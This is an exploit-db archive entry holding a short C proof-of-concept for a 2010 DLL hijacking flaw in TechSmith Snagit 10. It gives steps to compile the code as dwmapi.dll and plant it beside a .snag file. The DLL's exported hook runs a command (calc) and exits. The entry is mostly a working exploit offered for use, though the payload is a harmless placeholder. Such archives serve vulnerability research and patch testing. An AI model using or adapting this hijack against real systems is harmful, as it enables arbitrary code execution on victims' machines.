exploit-db-mirror/exploits/windows/local/14764.c
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

28 lines
No EOL
726 B
C

/*
TechSmith Snagit 10 (Build 788) Dll Hijacking Exploit
By: Encrypt3d.M!nd
Date: 25\8\2010
Download: http://www.techsmith.com/download/snagittrial.asp
Details:
Compile the following code and rename it to dwmapi.dl
and place file with one of the affected types in the same directory of the dll
Affected types: snag , snagcc , snagprof
Code :(used the one from this advisory:http://www.exploit-db.com/exploits/14758/):
*/
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)
DLLIMPORT void hook_startup() { evil(); }
int evil()
{
WinExec("calc", 0);
exit(0);
return 0;
}
// POC: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/14764.zip